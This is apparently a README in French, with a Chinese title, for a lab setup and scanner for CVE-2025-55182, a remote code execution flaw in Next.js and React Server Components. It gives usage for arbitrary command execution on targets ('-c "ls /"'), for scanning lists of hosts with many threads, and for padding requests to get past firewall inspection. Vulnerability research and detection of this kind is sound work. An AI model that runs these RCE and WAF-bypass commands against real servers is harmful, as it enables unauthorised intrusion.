
CVE-2025-55182复现环境及RCE回显poc
| Composant | Version recommandée pour la reproduction | Plage de versions vulnérables |
|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) et supérieures |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 ou 19.2.0 | 19.0.0 à 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 à 19.2.0 |
Forcer l'installation d'une version ancienne
cd cve-2025-55182-target
npm install --force
Vérifier les versions des dépendances
npm list react next
# Vérifier que la sortie affiche [email protected] et [email protected]
Tant que la liste des dépendances de premier niveau affiche [email protected] et [email protected], l'environnement est bien verrouillé dans un état vulnérable. Les avertissements et codes d'erreur ici peuvent être ignorés.
Construire :
npm run build
Exécuter :
npm start
Le serveur écoutera sur http://localhost:3000. L'environnement est prêt. Vous pouvez commencer la vérification de la vulnérabilité.
Détection/Scan de vulnérabilité :
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE :
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Un outil en ligne de commande pour détecter CVE-2025-55182 et CVE-2025-66478 dans les applications Next.js utilisant React Server Components.
Pour les détails techniques sur la vulnérabilité et la méthodologie de détection, consultez notre article de blog : https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
Par défaut, le scanner envoie une requête POST multipart conçue contenant une charge utile de preuve de concept RCE qui exécute une opération mathématique déterministe (41*271 = 11111). Les hôtes vulnérables renvoient le résultat dans l'en-tête de réponse X-Action-Redirect sous la forme /login?a=11111.
Le scanner teste d'abord le chemin racine. S'il n'est pas vulnérable, il suit les redirections vers le même hôte (par exemple, de / vers /en/) et teste la destination de la redirection. Les redirections cross-origin ne sont pas suivies.
Le drapeau --safe-check utilise une méthode de détection alternative qui repose sur des indicateurs de canal auxiliaire (code d'état 500 avec un digest d'erreur spécifique) sans exécuter de code sur la cible. Utilisez ce mode lorsque l'exécution de RCE n'est pas souhaitée.
Le drapeau --waf-bypass ajoute des données aléatoires au début du corps de la requête multipart. Cela peut aider à contourner l'inspection du contenu WAF qui n'analyse que la première partie des corps de requête. La taille par défaut est de 128 Ko, configurable via --waf-bypass-size. Lorsque le contournement WAF est activé, le délai d'attente est automatiquement augmenté à 20 secondes (sauf s'il est explicitement défini).
Le drapeau --windows change la charge utile du shell Unix (echo $((41*271))) vers PowerShell (powershell -c "41*271") pour les cibles fonctionnant sous Windows.
pip install -r requirements.txt
Scanner un seul hôte :
python3 scanner.py -u https://example.com
Scanner une liste d'hôtes :
python3 scanner.py -l hosts.txt
Scanner avec plusieurs threads et enregistrer les résultats :
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scanner avec des en-têtes personnalisés :
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Utiliser la détection sécurisée par canal auxiliaire :
python3 scanner.py -u https://example.com --safe-check
Scanner des cibles Windows :
python3 scanner.py -u https://example.com --windows
Scanner avec contournement WAF :
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url URL unique à vérifier
-c, --cmd Commande à exécuter
-l, --list Fichier contenant les hôtes (un par ligne)
-t, --threads Nombre de threads concurrents (par défaut : 10)
--timeout Délai d'attente de la requête en secondes (par défaut : 10)
-o, --output Fichier de sortie pour les résultats (JSON)
--all-results Enregistrer tous les résultats, pas seulement les hôtes vulnérables
-k, --insecure Désactiver la vérification du certificat SSL
-H, --header En-tête personnalisé (peut être utilisé plusieurs fois)
-v, --verbose Afficher les détails de la réponse pour les hôtes vulnérables
-q, --quiet Afficher uniquement les hôtes vulnérables
--no-color Désactiver la sortie colorée
--safe-check Utiliser la détection sécurisée par canal auxiliaire au lieu de la preuve de concept RCE
--windows Utiliser la charge utile PowerShell Windows au lieu du shell Unix
--waf-bypass Ajouter des données aléatoires pour contourner l'inspection du contenu WAF
--waf-bypass-size Taille des données aléatoires en Ko (par défaut : 128)
La preuve de concept RCE a été initialement divulguée par @maple3142 -- nous sommes extrêmement reconnaissants pour leur travail de publication d'une preuve de concept fonctionnelle.
Cet outil a été initialement conçu comme un moyen sûr de détecter la RCE. Cette fonctionnalité est toujours disponible via --safe-check, le mode « détection sécurisée ».
Les résultats sont affichés dans le terminal. Lors de l'utilisation de -o, les hôtes vulnérables sont enregistrés dans un fichier JSON contenant la requête HTTP complète et la réponse pour vérification.